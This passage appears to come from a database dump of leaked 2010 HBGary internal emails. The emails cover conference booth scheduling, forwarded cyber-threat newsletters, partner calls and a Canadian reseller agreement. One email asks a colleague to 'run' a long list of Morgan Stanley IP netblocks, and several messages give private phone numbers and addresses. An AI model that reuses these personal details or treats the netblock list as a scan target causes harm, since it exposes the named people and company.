problem.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, June 01, 2010 1:10 PM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: RE: FIRST\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe can&#8217;t, it&#8217;s the way the show is.&nbsp; Martin will be there\r\nTuesday/Wednesday.&nbsp; I guess if Ted checked in as Aaron it might work\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 01, 2010 6:33 AM\r\nTo: Aaron Barr; Penny C. Hoglund\r\nSubject: Re: FIRST\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron and Penny,\r\n\r\nLooks like the FIRST conference conflicts with REBL.&nbsp; If Aaron is doing\r\nREBL on June 17, wouldn\'t it make sense to send somebody for Thur and Fri for\r\nbooth duty?&nbsp; If it gets busy it would be better to have two people.\r\n\r\nBob\r\n\r\n\r\n\r\nOn Thu, May 27, 2010 at 5:23 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nWe\r\ncan only have two booth staffers.&nbsp; Booth Set up is on Tuesday so Aaron, if\r\nyou want to attend at NO CHARGE, you have to work booth and help bob do demo&#8217;s\r\nand set up.&nbsp; Martin will be there for part of Tuesday and part of\r\nWednesday. (see below)&nbsp; Ted can&#8217;t come unless he pays.&nbsp; \r\n\r\n&nbsp;\r\n\r\n§&nbsp; Booth\r\n#:&nbsp; 8\r\n\r\n§&nbsp; Location: 2ND Level at the InterContinental Hotel Miami\r\n\r\n§&nbsp; Setup: Tuesday, June 15th from 2:00PM-4:00PM\r\n\r\n§&nbsp; Teardown: Friday, June 18th from 1:30PM-3:00PM\r\n\r\n&nbsp;\r\n\r\n§&nbsp; Exhibit\r\nHours:\r\n\r\no&nbsp;&nbsp;&nbsp; Tuesday,\r\nJune 15th from 4:00PM-8:00PM \r\n\r\no&nbsp;&nbsp;&nbsp; Wednesday,\r\nJune 16th from 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Thursday,\r\nJune 17th from 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Friday,\r\nJune 18th from 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.819 / Virus Database: 271.1.1/2893 - Release Date: 06/01/10\r\n02:25:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3865,'aaron_hbgary_com/3865.html'),(6871,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004954.M420419P14101Q1726.eml','\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, June 01, 2010 9:57 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nLast Friday\'s cyber articles:\r\n\r\n1.      Cisco bugs surrender control of building\'s critical systems\r\n\r\n2.      Researchers find new ways to eavesdrop via mobile devices\r\n\r\n3.      High-tech credit cards vulnerable to thieves\r\n\r\n4.      Former FBI contract linguist sentenced for leaking classified\r\ninformation to blogger\r\n\r\n5.      Europe warns Google, Microsoft, others about search-data\r\nretention\r\n\r\n6.      Anti-Clickjacking defenses \'busted\' in top Web sites\r\n\r\n7.      New Computer Security Threat for Wireless Networks: Typhoid\r\nAdware\r\n\r\n8.      Trend Micro warns of 419-style World Cup scams\r\n\r\n9.      Social Media the New Battleground for Spam, Malware\r\n\r\n10.     Adobe issues security update for Photoshop CS4 \r\n\r\n11.     Google ditches Windows on security concerns\r\n\r\n',13778,'aaron_hbgary_com/13778.html'),(6872,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004954.M757297P14101Q1727.eml','mark@hbgary.com,\"Phil Wallisch\" <phil@hbgary.com>,mark@hbgary.com,\"Phil Wallisch\" <phil@hbgary.com>,','Morgan Stanley','Mark,\r\n\r\nPlease run these netblocks and send the results to Phil (cc\'d):\r\n\r\nMORGAN STANLEY (MORGA-4)\r\nMORGAN STANLEY (MORGA-5)\r\nMORGAN STANLEY (MORGA-28)\r\nMorgan Stanley (MORGA-55)\r\nMORGAN STANLEY (MORGA-34)\r\nMorgan Stanley & Co. Incorporated (MSC-168)\r\nMorgan Stanley (c/o of Market Axxess) (MORGA-48)\r\nMorgan Stanley Dean Witter (MSDW-7)\r\nMORGAN STANLEY DW INC. (MSDW-6)\r\nMORGAN STANLEY GROUP (MORGA-40)\r\nMorgan Stanley Group Inc. (MSG-6)\r\nMORGAN STANLEY DW INC. (AS6973) MSDW-AS    6973\r\nMorgan Stanley Group Inc. (AS5049) MORGAN-ASN    5049\r\nMORGAN STANLEY MORGAN-S91-42-0 (NET-12-42-42-0-1) 12.42.42.0 - 12.42.42.127\r\nMORGAN STANLEY MORGAN-S44-55-160 (NET-12-3-55-160-1) 12.3.55.160 - 12.3.55.191\r\nMORGAN STANLEY MORGAN-S41-104-160 (NET-12-166-104-160-1)\r\n12.166.104.160 - 12.166.104.191\r\nMORGAN STANLEY MORGAN-S14-182-128 (NET-12-14-182-128-1) 12.14.182.128\r\n- 12.14.182.135\r\nMorgan Stanley & Co. Incorporated SAVV-MSCOE-2 (NET-209-202-130-128-1)\r\n209.202.130.128 - 209.202.130.255\r\nMorgan Stanley (c/o of Market Axxess) SAVV-S217901-0\r\n(NET-205-217-13-240-1) 205.217.13.240 - 205.217.13.255\r\nMORGAN STANLEY GROUP UU-65-211-235-200-D3 (NET-65-211-235-200-1)\r\n65.211.235.200 - 65.211.235.207\r\nMorgan Stanley Group Inc. MORGANGENEVA (NET-192-150-173-0-1)\r\n192.150.173.0 - 192.150.173.255\r\nMorgan Stanley Group Inc. MSTANLEY (NET-204-254-196-0-1) 204.254.196.0\r\n- 204.254.199.255\r\nMorgan Stanley Group Inc. MORGANFC (NET-192-153-77-0-1) 192.153.77.0 -\r\n192.153.77.255\r\nMorgan Stanley Group Inc. NETBLK-MORGSTAN (NET-199-5-0-0-1) 199.5.0.0\r\n- 199.5.7.255\r\nMorgan Stanley Group Inc. MORGSTAN-CBLK3 (NET-199-89-64-0-1)\r\n199.89.64.0 - 199.89.127.255\r\nMorgan Stanley Group Inc. MORGAN-1 (NET-138-20-0-0-1) 138.20.0.0 -\r\n138.20.255.255\r\nMorgan Stanley Group Inc. MORGAN (NET-144-14-0-0-1) 144.14.0.0 - 144.14.255.255\r\nMorgan Stanley Group Inc. MORGAN3B (NET-161-144-0-0-1) 161.144.0.0 -\r\n161.144.255.255\r\nMorgan Stanley Group Inc. MSTAN128 (NET-205-228-0-0-2) 205.228.0.0 -\r\n205.228.127.255\r\nMorgan Stanley Group Inc. UU-63-120-20 (NET-63-120-20-0-1) 63.120.20.0\r\n- 63.120.20.255\r\nMorgan Stanley Group Inc. MORGANGM (NET-192-153-78-0-1) 192.153.78.0 -\r\n192.153.78.255\r\nMorgan Stanley Group Inc. MORGANAV (NET-192-153-79-0-1) 192.153.79.0 -\r\n192.153.79.255\r\nMorgan Stanley Group Inc. MORGANMT (NET-192-153-80-0-1) 192.153.80.0 -\r\n192.153.80.255\r\nMorgan Stanley Group Inc. MORGANTC (NET-192-153-81-0-1) 192.153.81.0 -\r\n192.153.81.255\r\nMorgan Stanley Group Inc. MORGANGTE (NET-192-153-82-0-1) 192.153.82.0\r\n- 192.153.82.255\r\nMorgan Stanley Group Inc. MORGANSA (NET-192-153-83-0-1) 192.153.83.0 -\r\n192.153.83.255\r\nMorgan Stanley Group Inc. MORGANCA (NET-192-153-84-0-1) 192.153.84.0 -\r\n192.153.84.255\r\nMorgan Stanley Group Inc. MORGANPD1 (NET-192-153-85-0-1) 192.153.85.0\r\n- 192.153.85.255\r\nMorgan Stanley Group Inc. MORGANPD2 (NET-192-153-86-0-1) 192.153.86.0\r\n- 192.153.86.255\r\nMorgan Stanley Group Inc. MORGANSTAN2-192-02 (NET-4-18-192-160-1)\r\n4.18.192.160 - 4.18.192.175\r\nMorgan Stanley Group Inc. SAVV-MSCOE (NET-216-91-1-128-1) 216.91.1.128\r\n- 216.91.1.255\r\nMorgan Stanley Group Inc. SAVV-MSCONY (NET-209-223-197-16-1)\r\n209.223.197.16 - 209.223.197.31\r\nMorgan Stanley Group Inc. 106585 (NET-204-215-153-96-1) 204.215.153.96\r\n- 204.215.153.103\r\nMorgan Stanley ATG-216210172192 (NET-216-210-172-192-1)\r\n216.210.172.192 - 216.210.172.199\r\nMorgan Stanley SBC065065075144020815 (NET-65-65-75-144-1) 65.65.75.144\r\n- 65.65.75.159\r\nMorgan Stanley SBC207213110080030414 (NET-207-213-110-80-1)\r\n207.213.110.80 - 207.213.110.87\r\nMorgan Stanley UU-208-217-77 (NET-208-217-77-0-1) 208.217.77.0 - 208.217.77.255\r\nMorgan Stanley SBC068252139032031217 (NET-68-252-139-32-1)\r\n68.252.139.32 - 68.252.139.39\r\nMorgan Stanley INAP-NYC-MSDWNYC-1514 (NET-209-191-132-64-1)\r\n209.191.132.64 - 209.191.132.95\r\nMorgan Stanley INAP-NYC-MSDWNYC-3817 (NET-64-74-62-192-1) 64.74.62.192\r\n- 64.74.62.223\r\nMorgan Stanley MORGAN-STANLEY (NET-75-150-121-240-1) 75.150.121.240 -\r\n75.150.121.247\r\nMORGAN STANLEY & CO-070327211128 SBC-76-203-102-112-29-0703271135\r\n(NET-76-203-102-112-1) 76.203.102.112 - 76.203.102.119\r\nMORGAN STANLEY DE SBC067039249104020717 (NET-67-39-249-104-1)\r\n67.39.249.104 - 67.39.249.111\r\nMORGAN STANLEY DEAN WIT SBCIS-10164-10411 (NET-65-69-134-176-1)\r\n65.69.134.176 - 65.69.134.183\r\nMorgan Stanley Dean Witter UU-63-100-97-208-D1 (NET-63-100-97-208-1)\r\n63.100.97.208 - 63.100.97.215\r\nMORGAN STANLEY GROUP UU-65-242-168-128-D4 (NET-65-242-168-128-1)\r\n65.242.168.128 - 65.242.168.255\r\nMORGAN STANLEY GROUP UU-65-222-138-160 (NET-65-222-138-160-1)\r\n65.222.138.160 - 65.222.138.175\r\nMorgan Stanley Group CVNET-18262C30 (NET-24-38-44-48-1) 24.38.44.48 -\r\n24.38.44.55\r\nMORGAN STANLEY INC-080219210045 SBC-99-152-236-152-29-0802190100\r\n(NET-99-152-236-152-1) 99.152.236.152 - 99.152.236.159\r\n\r\n\r\n-- \r\nTed\r\n',14282,'aaron_hbgary_com/14282.html'),(6873,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004955.M302198P14101Q1729.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: FIRST','I changed the talk to Tuesday so I could be there for most of the conference. &nbsp;Sorry for not being there to help set up...On Jun 1, 2010, at 1:12 PM, Bob Slapnik wrote:Aaron replied that his REBL talk is Tuesday, so he will be there Wed am through the rest of the week.&nbsp; So, no problem.&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, June 01, 2010 1:10 PMTo:&nbsp;\'Bob Slapnik\'; \'Aaron Barr\'Subject:&nbsp;RE: FIRST&nbsp;We can’t, it’s the way the show is.&nbsp; Martin will be there Tuesday/Wednesday.&nbsp; I guess if Ted checked in as Aaron it might work&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, June 01, 2010 6:33 AMTo:&nbsp;Aaron Barr; Penny C. HoglundSubject:&nbsp;Re: FIRST&nbsp;Aaron and Penny,Looks like the FIRST conference conflicts with REBL.&nbsp; If Aaron is doing REBL on June 17, wouldn\'t it make sense to send somebody for Thur and Fri for booth duty?&nbsp; If it gets busy it would be better to have two people.BobOn Thu, May 27, 2010 at 5:23 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:We can only have two booth staffers.&nbsp; Booth Set up is on Tuesday so Aaron, if you want to attend at NO CHARGE, you have to work booth and help bob do demo’s and set up.&nbsp; Martin will be there for part of Tuesday and part of Wednesday. (see below)&nbsp; Ted can’t come unless he pays.&nbsp;&nbsp;§&nbsp;&nbsp;Booth #:&nbsp;&nbsp;8§&nbsp;&nbsp;Location:&nbsp;2ND&nbsp;Level at the InterContinental Hotel&nbsp;Miami§&nbsp;&nbsp;Setup:&nbsp;Tuesday, June 15th&nbsp;from 2:00PM-4:00PM§&nbsp;&nbsp;Teardown:&nbsp;Friday, June 18th&nbsp;from 1:30PM-3:00PM&nbsp;§&nbsp;&nbsp;Exhibit Hours:o&nbsp;&nbsp;&nbsp;&nbsp;Tuesday, June 15th&nbsp;from 4:00PM-8:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Wednesday, June 16th&nbsp;from 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM; 5:00PM-6:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Thursday, June 17th&nbsp;from 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PMo&nbsp;&nbsp;&nbsp;&nbsp;Friday, June 18th&nbsp;from 8:00AM-8:45AM; 12:00PM-1:30PM&nbsp;&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;--&nbsp;Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.comNo virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.819 / Virus Database: 271.1.1/2893 - Release Date: 06/01/10 02:25:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5750,'aaron_hbgary_com/5750.html'),(6874,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004955.M73470P14101Q1728.eml','\"David Etue\" <david@etue.net>','Re: Evaluation VMs','No worries.  I am heading out to Colorado Springs tomorrow evening and we are going to be hashing through the integration, offerings, etc.\r\n\r\nI was hoping they could get a little hands on time to get it up and working and play a bit before I get in on Thursday, but either way we will work it out.\r\n\r\nThanks Dave.\r\n\r\nAnd thanks for introducing me to Tim.  I enjoyed the conversation.\r\n\r\nAaron\r\n\r\nOn Jun 1, 2010, at 12:42 PM, David Etue wrote:\r\n\r\n> I don\'t know why they weren\'t set up last Wednesday.  We\'ve had a bunch of support people on vacation at the same time, so some stuff has dropped.  I sent a follow up, and I know worst case the director of support is back tomorrow.\r\n> \r\n> Sorry :(\r\n> \r\n> David\r\n> \r\n> On 6/1/2010 11:10 AM, Aaron Barr wrote:\r\n>> Hey Dave,\r\n>> \r\n>> Do you know when we might see the access for the VMs for the Fidelis products we can start integrating?\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>>   \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7687,'aaron_hbgary_com/7687.html'),(6875,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004956.M590645P14101Q1730.eml','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','Re: Transcript from interview','Hows this.\r\n\r\n',13833,'aaron_hbgary_com/13833.html'),(6876,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004959.M573533P14101Q1731.eml','\"Aaron Barr\" <adbarr@mac.com>','','',7313,'aaron_hbgary_com/7313.html'),(6877,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004960.M48074P14101Q1732.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Discussion','ok how about 430.\r\n\r\nOn Jun 1, 2010, at 11:55 AM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron, sorry, somebody just grabbed 1pm and I\'m locked up from 2-4:30.  Can you talk before 1pm or after 4:30?\r\n> \r\n> -d\r\n> \r\n> On Jun 1, 2010, at 11:52 AM, Aaron Barr wrote:\r\n> \r\n>> How about 1pm EST?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jun 1, 2010, at 11:13 AM, Daniel Ingevaldson wrote:\r\n>> \r\n>>> Aaron--sure thing.  I see you guys are blasting away at the API!  What time(s) work for you?\r\n>>> \r\n>>> -d\r\n>>> \r\n>>> On Jun 1, 2010, at 11:12 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> Hey Daniel,\r\n>>>> \r\n>>>> Can we chat today?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> \r\n>>> ---------------------------------\r\n>>> Daniel S. Ingevaldson, COO\r\n>>> Endgame Systems, LLC\r\n>>> dsi@endgames.us\r\n>>> (w)404-781-2955\r\n>>> (f)404-781-2951\r\n>>> (m)404-992-9449\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12481,'aaron_hbgary_com/12481.html'),(6878,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004964.M212332P14101Q1733.eml','\"Ted Vera\" <ted@hbgary.com>','datasheet','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1117,'aaron_hbgary_com/1117.html'),(6879,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004966.M28625P14101Q1734.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Friday, May 28, 2010 5:34 PM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nThis week\'s articles:\r\n\r\n*       Experts: Google China cyber attack part of vast espionage\r\ncampaign\r\n\r\n*       SKorean, US firms embroiled in chip espionage case\r\n\r\n*       Report: Son of Hamas founder was top Israeli agent\r\n\r\n*       Ex-Pharmaceutical Worker Accused of Secrets Theft\r\n\r\n*       The Spy Kite\r\n\r\n',3330,'aaron_hbgary_com/3330.html'),(6880,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004966.M383471P14101Q1735.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure you can modify agreement.&nbsp; With regards to products being\r\nused for consulting services, you should purchase a copy to do that.&nbsp; I&#8217;m\r\nassuming you have Responder Pro.&nbsp; We also have AD licenses designed for\r\nconsultants so that you can charge per engagement fees to customers\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Monday, May 31, 2010 5:34 AM\r\nTo: Arnav Manchanda\r\nCc: Penny Leavy-Hoglund; \'Aaron Barr\'\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDear Penny, Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow up on the email below regarding\r\nmarketing both HBGary products and services in Canada, and to modify the\r\nreseller agreement that you sent me as required.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron: I also wanted to clarify whether we could use the\r\nlicense that you gave Nart for our own commercial work, and what the modalities\r\nwould be on that. We have a job coming up that would require HBGary product\r\ndeployment, so I wanted to ensure that we have the right commercial agreement\r\nin place on that end.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow-up on the reseller agreement that you\r\nsent - it looks fine from the standpoint of reselling HB Gary\'s products in\r\nCanada.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn terms of reselling the package of HBGary services in\r\nCanada, could we somehow incorporate that into this agreement, or would you\r\nprefer this to be on a case by case basis? I had a conversation with Aaron on\r\nThursday regarding reselling services and how the agreement could be to split\r\nthe margin 2/3 - 1/3 between HBGary and SecDev. This would also address the\r\nintegration that HBGary is working on with Fidelis/Endgame.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo let me know your thoughts on this.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCool, thanks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Thursday, May 20,\r\n2010 12:13 PM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks Penny, will have a look and get back to you by early\r\nnext week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our standard reseller form.&nbsp; Here are\r\ndatasheets and two white papers.&nbsp; We are releasing a new white paper at\r\nCEIC, so I&#8217;ll send that to you once it&#8217;s out.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19,\r\n2010 4:18 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST.\r\nGive me a shout whenever\'s best 613-755-4007\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Arnav,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They\r\nbuild and manage the product. &nbsp;Penny will get you the reseller agreement.\r\n&nbsp;We use the HBGary products as our foundation for enterprise incident\r\nresponse engagements. &nbsp;I will send you some information on this. &nbsp;Can\r\nwe talk briefly tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi 